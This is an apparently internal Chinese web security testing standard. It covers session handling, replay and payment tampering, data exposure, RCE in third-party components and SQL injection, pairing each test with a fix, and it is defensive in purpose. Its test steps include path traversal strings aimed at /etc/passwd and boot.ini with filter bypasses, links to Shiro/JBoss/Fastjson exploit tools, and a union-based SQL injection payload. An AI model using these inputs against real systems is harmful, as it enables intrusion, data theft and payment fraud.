我们保证所有生成的链接都是来自于我们可信域的，通过在生成的链接里加入用户不可控的Token对生成的链接进行校验，可以避免用户生成自己的恶意链接从而被利用，但是如果功能本身要求比较开放，可能导致有一定的限制

1. 会话管理
  1. 会话超时
    1. 未启用会话超时功能

风险等级：中

漏洞描述：

具有登录功能的互联网系统，在涉及敏感信息时（包括但不限于：身份证号码、个人生物识别信息、银行账号、通信记录和内容、财产信息、征信信息、行踪轨迹、住宿信息、健康生理信息、交易信息、14岁以下（含）儿童的个人信息），如“我的”、“通讯录和机构信息”、“人事薪酬”、“家庭关系”等页面，必须设置会话超时不得大于15分钟。应用会话超时后，二次认证可选择手势密码、指纹、人脸识别、短信等方式提升交互体验。

测试步骤：

正常登陆账户后，15分钟不3做点击请求操作。
15分钟后点击系统功能，没有跳转到登陆页面，则说明存在会话超时问题。
15分钟后点击系统功能，跳转到登录页面，但是burpsuite中抓取的登录后的报文重放还可获取数据，说明只是本地清除了会话凭证，但实际会话还是未超时。

修复方案：

1.具有登录功能的互联网系统，在涉及敏感信息时（包括但不限于：身份证号码、个人生物识别信息、银行账号、通信记录和内容、财产信息、征信信息、行踪轨迹、住宿信息、健康生理信息、交易信息、14岁以下（含）儿童的个人信息等），如“我的”、“通讯录和机构信息”、“人事薪酬”、“家庭关系”等页面，必须设置会话超时不得大于15分钟。应用会话超时后，二次认证可选择重新登录，也可在条件许可情况下选择手势密码、指纹、人脸识别、短信等方式提升交互体验。

2.按要求为会话添加时效性，对于用户认证均已接入P13系统的内部办公应用系统，超时时间按P13超时时间设置。对非敏感信息页面，建议与业务做好对接讨论，兼顾用户体验和安全，如不涉及敏感信息，可以不开启会话超时功能，但需要做好手机绑定，非认证终端不可以下载和访问。

1. 1. 1. 账号可同时登陆

风险等级：中

漏洞描述：

应能对单个账号的重复登录（同一账号同时在不同的终端上登录）进行限制（原则上不超过2个），出现重复登录时，给出明确提示；

测试步骤：

使用火狐、谷歌、ie浏览器分别登陆同一个账号。
三个终端功能都能正常使用，则存在账号可同时登陆问题。
如果有一个点击功能会跳转到登陆页面，或者在登录的时候弹框提示“已在其他终端登录”，则不存在该问题。

修复方案：

建议在服务端添加账号登录状态检测。

1. 1. 会话安全
    1. 登录信息直接写入cookie

风险等级：中

漏洞描述：

登陆信息以明文形式写入cookie，可直接获取用户账号密码或通过篡改cookie中的用户信息可导致越权登陆等操作。

测试步骤：

使用burpsuite抓取登录过程中生成的cookie；
检查cookie中是否存在以明文或脆弱的加密方式存储的登录信息，如username、name、password、pass、personalkey、ID、groupID、roletype等；

修复方案：

用户名及密码尽可能不在客户端存储，若有必要，如cookie中暂存，应以加密方式存储；

设置Cookie的失效时间为当前时间，让该Cookie在当前页面浏览完之后就失效

1. 1. 1. 会话标识未更新

风险等级：中

漏洞描述：

在用户进入登录页面，但还未登录时，就已经产生了一个session，用户输入信息登录以后，session的id不会改变，也就是说没有建立新session，原来的session也没有被销毁）。攻击者可利用此漏洞进行钓鱼达到利用攻击者的会话执行敏感操作。

测试步骤：

打开网站登录页面；
登陆前通过软件工具抓取到的cookie信息值与在登录后抓取到的cookie进行对比，如果其值一样，则可判断其会话的cookies或者sessions未进行更新。

修复方案：

始终生成新的会话，供用户成功认证时登录。防止用户操纵会话标识。请勿接受用户浏览器登录时所提供的会话标识

1. 1. 1. cookie属性安全

风险等级：中

漏洞描述：

互联网应用应采取措施保证http（https）的会话安全：

a) 应保证cookie安全性：如启用HttpOnly属性，使用临时性Cookie取代永久性Cookie，不使用Cookie定制信息，敏感Cookie需加密保存，HTTPS协议下应启用Secure属性；

测试步骤：

F12查看cookie属性值，如果是http环境，查看httpOnly属性的值应设置为true。为false则存在该问题。
如果是https的环境，除了httpOnly属性还需查看secure属性的值应设置为true。有个为false则存在该问题。

修复方案：

互联网应用应采取措施保证http（https）的会话安全：重要信息的cookie需要做

a) 应保证cookie安全性：如启用HttpOnly属性，使用临时性Cookie取代永久性Cookie，不使用Cookie定制信息，敏感Cookie需加密保存，HTTPS协议下应启用Secure属性；

1. 1. 1. 会话固定（修订）

风险等级：中

漏洞描述：

会话固定攻击是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

测试步骤：

使用burpsuite抓取未登录、登录及登出过程中的cookie值；
检查cookie中的会话标识值在登录、登出过程中是否及时更新、注销；
若登陆前后会话标识值未进行更新，攻击者可诱使受害者使用攻击者生成的会话标识值完成会话劫持；
若注销后会话标识值未进行注销，攻击者可通过获取受害者的会话标识值完成会话劫持；

上图为攻击者利用会话固定完成会话劫持的流程

修复方案：

在用户提供的认证信息（例如用户名和密码）、相应的权限级别发生变化时，服务器端应重新生成SessionID，并强制失效之前的会话

1. 1. 防重放
    1. 重放漏洞

风险等级：高

漏洞描述：

重放漏洞是逻辑漏洞中常见的漏洞之一，攻击者通过嗅探受害者的数据包，将此数据包对服务器恶意重放从而造成危害，如截取登录时的数据包重放，就可直接登录系统；截取成功购买物品时的数据包重放，就有可能实现付1买10的操作。

测试步骤：

对注册、登陆、支付、兑换、领取等功能，使用burpsuite抓取相关数据包；
将请求数据包使用repeater重复发送，检查是否存在重复请求成功的情况；

将数据包使用intruder模块多线程发送，检查在多线程并发的情况下是否存在多次请求成功的情况；

修复方案：

服务端应用程序应检查客户端提交的数据的唯一性，如使用流水号、时间戳、token等，并将流水号、时间戳等进行签名。

1. 1. 防篡改
    1. 防篡改

风险等级：高

漏洞描述：

应用程序未校验订单数据的取值范围，交易存在金额、数量篡改、负值反冲等支付问题。

测试步骤：

对支付、兑换、领取等功能，使用burpsuite抓取相关数据包；
对交易数据中交易数值进行修改，如：修改支付价格、购买数量、优惠劵金额、积分金额等，将数值修改为0值负值或数据类型的上限值以达到减少支付金额、获取额外积分等目

对交易数据中支付状态进行修改，修改决定支付或未支付的参数为支付状态的值从而达到支付成功；
对交易数据中交易接口进行修改，若逻辑设计不当，修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功；
对交易数据中用户标识进行修改，若无限制则可实现越权支付；
产生两个不同订单，如果服务端没有做好这相关的验证，那么在支付的过程当中抓包，修改订单号为另一个订单号，就可以用订单一的支付价格买到订单而的商品；
检查订单能否正常执行，如果正常则说明漏洞存在；
对于我司订单多为保险订单，时间参数为重要参数，应保证保单生效时间晚于支付时间，保单截止时间与产品符合。

修复方案：

1) 使用签名机制对互联网接口传输数据进行签名，保证传输过程不被篡改。（例如，使用U盾、MAC消息认证码（信息完整性鉴别），对影响价格、会员积分等交易场景的数字参数信息进行效验，保证传输过程不被篡改）；

2) 对涉及资金交易的传输内容应采用数字签名等抗抵赖措施;

3) 如存在修改失败或者购买失败等情况，服务器反馈数据验证结果。

1. 1. 1. 支付漏洞

风险等级：高

漏洞描述：

应用程序未校验订单数据的取值范围，交易存在金额、数量篡改、负值反冲等支付问题。

测试步骤：

支付漏洞有以下四种情况

（1）修改价格

在订单的整个过程中，利用burp工具对请求及响应包中的价格进行篡改为任意其他价格，若在最终实际付款处，付款金额变为了自己修改后的金额，即存在支付漏洞

（2）修改订单状态

利用burp工具，通过抓关键包修改订单的状态关键词，可以把未完成的订单修改为已完成，即说明存在支付漏洞

（3）修改订单数量

利用burp工具，对订单中的商品数量进行篡改（通常为改为负数），并且最终能够修改成功，则说明存在支付漏洞

（4）修改附属值

利用burp工具，通过篡改购买商品时所使用的优惠券的金额或者使用的优惠券的数量（默认只能使用一张，但可以篡改为多张），或者可以篡改购买商品时的折扣数据，最终使实际付款价格发生变化，则认为存在支付漏洞

参考链接：https://cloud.tencent.com/developer/article/1180124

修复方案：

1)对涉及资金交易的传输内容应采取完整性保护措施（如效验参数是否完整、禁止不合法的传输内容被服务器接受并解析执行）；

2)支付功能要尽量在系统本身校验，不要等跳转到银联界面后校验，容易误导漏洞验证;

3)注意接口的支付逻辑，若逻辑设计不当，修改其支付接口为一个不存在的接口，如果没做好不存在接口相关处理，那么此时就会支付成功。

对于我司订单多为保险订单，时间参数为重要参数，应保证保单生效时间晚于支付时间，保单截止时间与产品符合。

1. 数据安全
  1. 数据传输安全
    1. 敏感信息泄露

风险等级：高

漏洞描述：

在数据传输过程或应用配置文件中泄露了敏感信息（包含但不限于：口令、密钥、证书、会话标识、License、隐私数据（如短消息的内容）、授权凭据、个人数据（如姓名、住址、电话等）

测试步骤：

使用目录扫描器，如：御剑、dirsearch、dirmap等扫描得到敏感文件的路径，从而找到敏感数据；手工挖掘，根据web容器或者网页源代码的查看，找到敏感信息；
检查在代码中存储的敏感数据如数据库连接字符串、口令和加密密钥之类的敏感数据；
检查密钥或帐号的口令（包含账号密码、个人信息如：身份证号码、银行卡号等）是否以明文形式存储在数据库或者文件中；
检查cookie 中是否以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；
检查是否使用自己开发的加密算法，未使用公开、安全的标准加密算法。

修复方案：

1、禁止在代码中存储敏感数据：禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据，这样容易导致泄密。

2、禁止密钥或帐号的口令以明文形式存储在数据库或者文件中：密钥或帐号的口令必须经过加密存储。

3、禁止在 cookie 中以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；如果条件限制必须使用cookie存储敏感信息时，必须先对敏感信息加密再存储到cookie。

4、禁止在隐藏域中存放明文形式的敏感数据。

5、禁止在日志中记录明文的敏感数据：禁止在日志中记录明文的敏感数据（如口令、会话标识jsessionid等），防止敏感信息泄漏。

6、禁止带有敏感数据的Web页面缓存：带有敏感数据的Web页面都应该禁止缓存，以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。

1. 1. 1. 不安全的HTTP协议

风险等级：高

漏洞描述：

互联网传输的CS/BS架构应用使用了http协议进行数据传输。

测试步骤：

对于传输登录信息，个人信息、交易信息的功能系统，并且是明文传输数据的，如果没有使用https安全协议，则存在问题。

修复方案：

互联网传输的CS/BS架构应用应采用VPN链路加密或HTTPS（应采用TLS加密）进行数据传输。

1. 1. 1. 启用SSL弱密码

风险等级：中

漏洞描述：

由于SSL加密套件中使用RC4进行加密，而RC4加密非安全加密算法。

测试步骤：

使用在线SSL加密套件检测：

SSL Server Test (Powered by Qualys SSL Labs)

linux环境：安装openssl

运行命令：openssl s_client -connect xxx.com:443 -cipher RC4

若能查到证书信息代表存在漏洞：

若报：sslv3 alerthandshake failure，则不存在漏洞。

修复方案：

加强密码

1. 1. 数据存储及展示安全
    1. 备份文件泄露

风险等级：高

漏洞描述：

备份文件泄露，在web服务中，常常不局限于网站的源代码泄露，网站的数据库备份文件，以及上传的敏感文件，或者一切正常备份，原则不允许访问的文件可被通过访问web路径进行下载得到，造成其信息泄露。有效的帮助攻击者理解网站应用逻辑，为展开其他类型的攻击提供有利信息，降低攻击的难度，可以进一步获取其他敏感数据。

测试步骤：

使用目录扫描器，如：御剑、dirsearch、dirmap等，扫描web应用的备份文件；
备份文件一般以.rar、.zip、.7z、.tar.gz、.bak、.swp、.txt、.git、

.DS_store、.php~、idea、.setting、.sql、.project、.classpath结尾；

3）扫描到这些文件后，访问并能下载，则说明存在备份文件泄露问题。

修复方案：

网站管理员严格检查web中可访问的路径下是否存在备份文件，常见备份文件后缀为.jsp、.bak、.bak、.sql、.txt、.zip、.git、.svn.rar、.zip、.7z、.tar.gz、.bak、.swp、.txt、.git、.DS_store、.php、idea、.setting、.sql、.project、.classpath等。如果有这些文件，直接将该备份文件进行转移到其他目录或者直接删除。

2、严格控制可网站可访问目录下的文件敏感度的存放问题，不要将敏感文件置于该目录。

1. 1. 1. SVN文件信息泄露

风险等级：高

漏洞描述：

Web目录中存在.svn目录，Web中间件未限制客户端访问带.目录，例如:/.conf/、/.svn/、/.data/

测试步骤：

使用浏览器或CURL探测svn相关目录是否存在；
SVN相关目录一般有：/.conf/、/.svn/、/.data/、/.svn/entries、/.svn/pristine、

/.svn/tmp等；

命令：curl -I http://target/+相关目录；

修复方案：

1、不要使用svn checkout和svn up更新服务器上的代码，使用svn export（导出）功能代替。

2、服务器软件（Nginx、apache、tomcat、IIS等）设置目录权限，禁止访问.svn目录

1. 1. 1. 测试页面、示例文件未删除

风险等级：中

漏洞描述：

应用中存在遗留的过时文件、备份页面、渗透测试遗留文件、开发文件残留的测试文件等。

测试步骤：

使用目录扫描器，如：御剑、dirsearch（以御剑为例）等，扫描web应用默认的测试页面和非业务需求的页面查看是否存在未及时删除的页面，需要建议开发测试在代码扫描中找出“测试页面、test-page、testt page、示例页面、Sample page、Sample-page”,开发打包前清除一切不需要的代码、页面，包含无用的测试页面、注释单靠目录扫描工具可能会有遗漏，在JS文件中可能也会写有URL，这些地址可能也是测试后未删除的示例文件地址。

修复方案：

1.web路径下严格检查是否存在备份文件，中间件测试页面，未授权的测试页面，及时删除或移动web目录外下存放，访问权限控制等

2.严格控制敏感目录访问控制权限

1. 1. 1. 安装文件未删除

风险等级：高

漏洞描述：

在服务器中存放应用安装包文件，攻击者如果拿到安装包的信息，就可能会知道当前服务器所安装的软件，来进行进一步的攻击。

测试步骤：

1）使用目录扫描器，如：御剑、dirsearch，扫描web应用的一些默认安装文件目录或页面，发现存在安装包，即存在该问题。

修复方案：

删除.setup .war等安装文件

1. 1. 1. JS文件敏感信息泄露

风险等级：高

漏洞描述：在前端js文件中，泄露了敏感信息，如账户、密码、文件路径等（包含账号密码、个人信息如：身份证号码、银行卡号）

测试步骤：

打开测试网页，右键查看网页的源代码。
网页源代码中的内容一般分为以下几种：
- html或者javascript代码
- 页面调用的JS文件（形似：<script src="https://xxxxxxxxxxxxxxxxx"></script>）
在html代码或者Javascript代码中，可能会直接存在用户的账号密码或者是身份证信息等敏感信息，这些信息可能包裹在hidden属性的标签内，导致页面上不会显示账号信息，但是会在源代码中存在。
假如存在JS文件中的是账号密码，攻击者可以直接用泄露的账号密码登录进行，进行进一步的渗透攻击；如果是身份证、手机号等信息，也可以用于社工、爆破等用途。

举个例子：例如某网站直接在页面的JS文件中输出了评论用户的账号、手机号、注册邮箱

这种信息不会直接显示在网页上，但是会存在JS文件里面。查看网页源代码，在网页代码和调用JS文件中可能存在用户账户、密码这样的个人信息。这些敏感信息不会直接显示在网页上，但是出现在JS文件中仍然会有泄露的风险。攻击者可直接使用账户密码登陆系统，进行进一步的渗透。

JS文件中可能还存在一些文件路径，这些文件往往包含着网站的配置信息且常常未做权限控制，也存在敏感信息泄露的问题。

修复方案：

在前端js文件中，查看是否存在敏感信息，不把此类敏感信息直接存储进页面内的js等文件中

1. 1. 1. 敏感信息未模糊化

风险等级：高

漏洞描述：

敏感信息（包含账号密码、个人信息如：身份证号码、银行卡号等）在终端上展示时未进行模糊处理。

测试步骤：

该问题常见于人员信息查询、客户信息查询功能点，这些功能点常常会明文展示身份证号这种敏感信息，禁止身份证号、银行卡号明文展示在前端页面，必须做模糊化处理。
还有一种情况，不需要使用身份证号的功能点，查询返回包中却携带身份证信息，也存在该问题，需要修改代码，禁止返回身份证号

修复方案：

建议非业务上的必要，敏感信息在传输过程中和终端上展示时应做模糊处理，如部分内容以*方式传输及显示，并在应用后台进行敏感字段脱敏处理。

1. 1. 1. 内部IP地址泄露

风险等级：中

漏洞描述：网站的内部IP地址写在了js文件或明文存储于cookie中。

测试步骤：

查看网站的源代码，JS文件，里面若明文存在内网的IP地址（形如10.xxx.xxx.xxx），则网站存在内部IP地址泄露的问题；
数据包中COOKIE可能也会以明文形式存在内网IP地址，这种情况也会造成内部IP地址泄露，如下图：

使用不同的请求方法，可以使服务器重定向，从而泄露内网ip地址：

4）访问不存在的目录，可以使服务器重定向，泄露内网ip地址：

修复方案：

建议对内部IP进行删除或隐藏。不得将内部ip地址写在js、CSS等静态文件中。不得将直接内部IP写入cookie、 BIG-IP cookie中。

1. 1. 1. WEB.XML配置文件泄露

风险等级：高

漏洞描述：

通常一些web应用我们会使用多个web服务器搭配使用，解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候，由于对静态资源的目录或文件的映射配置不当，可能会引发一些的安全问题，导致web.xml等文件能够被读取。

测试步骤：

确定自己的测试地址，打开目录扫描工具；
扫描到域名存在WEB-INF/web.xml的地址后人工访问确认；
根据web.xml配置文件路径或通常开发时常用框架命名习惯，找到其他配置文件或类文件路径，dump class文件进行反编译，得到网站源码；

WEB-INF主要包含以下文件或目录：

/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则；

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中；

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件；

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件；/WEB-INF/database.properties：数据库配置文件；

修复方案：

设置目录权限，禁止访问且在配置文件中对敏感信息进行加密

1. 1. 1. 服务器路径泄露

风险等级：中

漏洞描述：应用中泄露了网站根目录或敏感文件绝对路径等

测试步骤：

有以下三种常见情况：
- 服务器配置不当，在报错页面会返回服务器的真实物理路径
- 在上传功能点处，抓取上传的返回包，在返回包中可能会存在服务器的真实物理路径。
- 打开网页源代码，查看图片等媒体的链接及超链接

修复方案：

1.对本地路径进行隐藏。媒体链接和超链接采用相对路径的表达方式。

2.报错信息中不对外输出网站物理路径等敏感信息。

风险等级：高

漏洞描述：

目录浏览漏洞是由于网站存在配置缺陷，存在目录可浏览漏洞，这会导致网站很多隐私文件与目录泄露，比如数据库备份文件、配置文件等，攻击者利用该信息可以更容易得到网站权限。

测试步骤：

在测试过程中通过js文件查看系统路径进行访问回退后发现是否存在目录遍历情况
可通过google hacking进行搜索如：index of site:baidu.cn
寻找系统中形如“http://www.xxxx.com/getfile=image.jpg”，web应用通过getfile脚本自动添加完整路径“d://site/images/image.jpg”，将读取的内容返回给访问者。
可通过添加特殊字符尝试发现目录遍历漏洞如

“download.jsp?filenmae=../../../../../../../etc/passwd”

编码绕过“downfile.jsp?filename= %66%61%6E%2E%70%64%66”
在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘根目录下。
一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。
部分系统过滤了“../”字符可通过…//…/./…///../”方式进行绕过

修复方案：

1、净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或者空字符的参数进行拒绝。

2、 web应用程序可以使用chroot环境包含被访问的web目录，或者使用绝对路径+参数来访问文件目录，时使其即使越权也在访问目录之内。www目录就是一个chroot应用. 由chroot创造出的那个根目录，叫做“chroot*”（所谓"*"就是指通过chroot机制来更改某个进程所能看到的根目录，即将某进程限制在指定目录中，保证该进程只能对该目录及其子目录的文件有所动作，从而保证整个服务器的安全，详细具体chroot的用法，可参考：http://blog.csdn.net/frozen_fish/article/details/2244870

3、任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生，例如ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。

4、要下载的文件地址保存至数据库中。

5、文件路径保存至数据库，让用户提交文件对应ID下载文件。

6、用户下载文件之前需要进行权限判断。

7、文件放在web无法直接访问的目录下。

8、不允许提供目录遍历服务。

9、公开文件可放置在web应用程序下载目录中通过链接进行下载。

参考代码：

public String download() throws Exception {

     //获取文件id

String id = Struts2Utils.getRequest().getParameter("id");

  try {

   //通过id进行文件查询

DownloadFile downFile = fileService.findEntityById(Long.parseLong(id));

   // 获取该附件的类型

   byte[] bt = null;

   bt = downFile.getContent();

   HttpServletResponse res =Struts2Utils.getResponse();

   res.reset();

   res.setContentType("application/x-msdownload");

   res.setHeader("Content-Disposition", "attachment;filename="+ URLEncoder.encode(uacFile.getName(), "UTF-8"));

   OutputStream out = res.getOutputStream();

   out.write(bt);

   out.flush();

   out.close();

  } catch (Exception e1) {

   e1.printStackTrace();

  }

  return null;

}

1. 1. 参数保护
    1. robots文件配置

风险等级：中

漏洞描述：

robots.txt文件有可能泄露系统中的敏感信息，如后台地址或者不愿意对外公开的地址等，恶意攻击者有可能利用这些信息实施进一步的攻击。

测试步骤：

在网站根目录输入robots.txt文件名称，查看文件是否存在；
如果文件中存在敏感目录的地址，包括：后台地址、特殊接口地址、特殊功能页面、测试页面，则说明robots.txt存在问题；
如果文件中没有包含敏感目录，或者包含以敏感目录的局部名称，形如：/ad、/ma*，则说明没有漏洞。

修复方案：

根据实际情况，进行如下对应的修复：

1、 User-agent: * 这里的*代表的所有的搜索引擎种类，*是一个通配符

2、 Disallow: / 这里定义是禁止爬寻站点所有的内容

3、 Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录

4、 Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录

5、 Disallow: /cgi-bin/*.htm 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。

6、 Disallow: /*?* 禁止访问网站中所有包含问号 (?) 的网址

7、 Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片

8、 Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。

9、 Allow: /cgi-bin/　这里定义是允许爬寻cgi-bin目录下面的目录

10、Allow: /tmp 这里定义是允许爬寻tmp的整个目录

11、Allow: .htm$ 仅允许访问以".htm"为后缀的URL。

12、Allow: .gif$ 允许抓取网页和gif格式图片

13、Sitemap: 网站地图告诉爬虫这个页面是网站地图

1. 1. 1. 敏感数据get传输

风险等级：中

漏洞描述：

会话令牌、登陆信息等敏感信息使用GET方式进行传输，此时这些敏感信息被附加在URL地址后面一起发送到服务器。

测试步骤：

使用burpsuite对web应用的请求抓包分析；
如果存在登录账户信息、个人敏感信息（手机号、身份证号、银行卡号）、会话令牌（token）这些信息使用GET方法进行传输，这说明存在该漏洞。

修复方案：

使用HTTP的POST请求方法代替GET请求方法来提交敏感信息表单，禁止使用表单的隐藏字段来传递敏感信息；不依赖HTTP头信息，对客户端提交的HTTP头进行过滤。

1. 1. 1. 敏感数据get传输（重复）

风险等级：中

漏洞描述：

URL中暴露会话标识符，会话标识符以 GET 参数进行传递。

测试方法：

使用burp等方式获取GET请求包，检查GET请求包包头中是否存在token等；
如果存在token验证token是否作为有效的会话令牌使用，如果是有效的会话标识符说明漏洞存在。

修复方案：

POST方法代替GET方法来提交敏感信息表单，禁止使用表单的隐藏字段来传递敏感信息

1. 软件容错和异常管理
  1. 异常管理
    1. 版本信息泄露

风险等级：中

漏洞描述：

应用报错时的缺省页面中包含中间件版本等信息。

测试步骤：

检查响应包中是否含有版本信息；
通过目录扫描或手工输入不存在的文件或路径，触发服务器产生报错；
通过目录扫描或手工输入一个无权限查看的文件或路径，触发服务器产生报错；
手工输入不存在的参数或特殊构造的字符串，如单引号，尖括号等，触发服务器产生报错；
检查报错页面中是否含有版本信息；

修复方案：

定制统一的错误页面，当程序异常时显示统一的错误提示页面；删除/修改/隐藏HTTP Header中的中间件程序版本信息，避免信息泄漏。

1. 1. 1. 应用程序调试信息泄露

风险等级：中

漏洞描述：

应用程序未屏蔽执行过程中的错误信息，未统一出错提示，直接抛出了异常，造成敏感信息泄漏。可从程序的错误信息中获得程序开发框架名称及版本、SQL语句、SQL数据库表名、绝对路径等敏感信息。

测试步骤：

通过目录扫描或手工输入不存在的文件或路径，触发服务器产生报错；
通过目录扫描或手工输入一个无权限查看的文件或路径，触发服务器产生报错；
手工输入不存在的参数或特殊构造的字符串，如单引号，尖括号等，触发服务器产生报错；
手工输入一个http方法，触发服务器产生报错；
输入格式错误的数据，如：错误的数据格式、错误的数据长度等进行报错；
检查是否有调试信息泄露；

修复方案：

当系统发现异常访问或出故障时，统一出错提示，应避免敏感信息泄露及显示详细错误信息。增加try catch等容错语句，捕获所有异常并统一出错提示，过滤详细的错误信息反馈，禁止直接抛出异常，禁止将异常信息输出到页面中。

1. 1. 第三方组件安全
    1. 远程代码执行

风险等级：高

漏洞描述：

远程命令执行简称RCE漏洞，是指用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

测试步骤：

1）Jboss远程代码执行检测工具：https://github.com/GGyao/jbossScan

2）Weblogic远程代码执行检测工具：https://github.com/dr0op/WeblogicScan

3）Apache Shiro远程代码执行检测工具：https://github.com/1522402210/shiro_rce

4）Fastjson远程代码执行检测工具：https://github.com/wyzxxz/fastjson_rce_tool

5）Struts2远程代码执行检测工具：https://github.com/HatBoy/Struts2-Scan

6）thinkPHP远程代码执行检测工具：https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

7）shiro反序列化漏洞执行检测工具：https://github.com/feihong-cs/ShiroExploit

使用方法：

按要求输入要检测的目标URL和选择漏洞类型；

选择攻击方式；

检测漏洞并执行命令；

修复方案：

1、建议假定所有输入都是可疑的，尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入，系统命令执行函数的参数不允许外部传递。

2、不仅要验证数据的类型，还要验证其格式、长度、范围和内容。

3、不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。

4、对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

1. 1. 1. Struts 2远程代码执行

风险等级：高

漏洞描述:

Struts2是在Struts和WebWork的技术基础上进行了合并的全新的框架。Struts2漏洞类型分为两种，一种是使用缩写的导航参数前缀时的远程代码执行漏洞，另一种是使用缩写的重定向参数前缀时的开放式重定向漏洞，Struts2远程命令执行，属于高危安全漏洞，可使黑客取得网站服务器的权限。

测试步骤:

下载Struts2远程代码执行检测工具：https://github.com/HatBoy/Struts2-Scan
使用方法如下：

选择单个检测还是批量检测

如果检测存在问题，可指定漏洞名称进行利用

工具检测到说明存在漏洞。

修复方案：

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ，如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞，

更行至Strusts2.3.32或者Strusts2.5.10.1，或使用第三方的防护设备进行防护。

1. 1. 1. WebLogic Server远程代码执行漏洞

风险等级：高

漏洞描述：

攻击者可利用该漏洞在未授权的情况下发送攻击数据，通过T3协议在WebLogic Server中执行反序列化操作,最终实现远程代码执行。

测试方法：

下载Weblogic远程代码执行检测工具：https://github.com/dr0op/WeblogicScan
使用方法如下：

如果工具检测存在问题说明漏洞存在。

修复方案：

目前， Oracle官方已经发布补丁修复了漏洞，建议用户及时确认是否受到漏洞影响 Oracle官方更新链接如下：https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html

临时解决方案

通过设置weblogic.security.net.ConnectionFilterImpl默认连接筛选器，对T3/T3s协议的访问权限进行配置，阻断漏洞利用途径。具体如下：

（a）进入WebLogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置。

（b）在连接筛选器中输入：WebLogic.security.net.ConnectionFilterImpl，在连接筛选器规则中输入：* * 7001 deny t3 t3s

（c）保存后重新启动即可生效

1. 1. 1. JBOSS远程代码执行

风险等级：高

漏洞描述：

JBOSS默认配置会有一个后台漏洞，漏洞发生在jboss.deployment命名空间中的addURL()函数,该函数可以远程下载一个包含shell的war压缩包并解压。

测试方法:

下载Jboss远程代码执行检测工具：https://github.com/GGyao/jbossScan,

具体利用工具：https://github.com/joaomatosf/JavaDeserH2HC

使用方法如下:

检测后根据存在的具体漏洞使用利用工具另行检测。

修复方案：

给jmx-console加*问密码

1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件去掉 security-constraint 块的注释，使其起作用

2.编辑WEB-INF/classes/jmx-console-users.properties或server/default/conf/props/jmx-console-users.properties (version >=4.0.2)和 WEB-INF/classes/jmx-console-roles.properties

或server/default/conf/props/jmx-console-roles.properties(version >=4.0.2) 添加用户名密码

3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释，security-domain值的映射文件为 login-config.xml （该文件定义了登录授权方式）

1. 1. 1. 反序列化漏洞

风险等级：高

漏洞描述：

Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。Apache Commons Collections允许链式的任意的类函数反射调用。攻击者通过允许Java序列化协议的端口，把攻击代码上传到服务器上，再由Apache Commons Collections里的TransformedMap来执行。

测试步骤:

下载shiro反序列化漏洞执行检测工具：https://github.com/feihong-cs/ShiroExploit
使用方法如下:

按要求输入要检测的目标URL和选择漏洞类型；

选择攻击方式；

检测漏洞并执行命令；

通过工具验证成功说明存在漏洞。

修复方案：

及时更新下载官方补丁。

1. 1. 限制及验证
    1. SQL注入

风险等级：高

漏洞描述：

SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

测试步骤：

union注入

通过使用','),and,or等字符对查询、修改功能处进行检测，检验是否存在sql报错sql注入点。

结果显示页面通过union联合查询select语句

Order by 1-99查询字段数

或者union null,null,null,查询

?id=-1'+union+select+1,2,3--+ //判断字段显示的位置、-1表示不出现前面的查询

在显示位插入查询语句。

Boolean注入

结果只是错误或者正确（yes or no）

通过比较类型的sql语句进行逐位判断

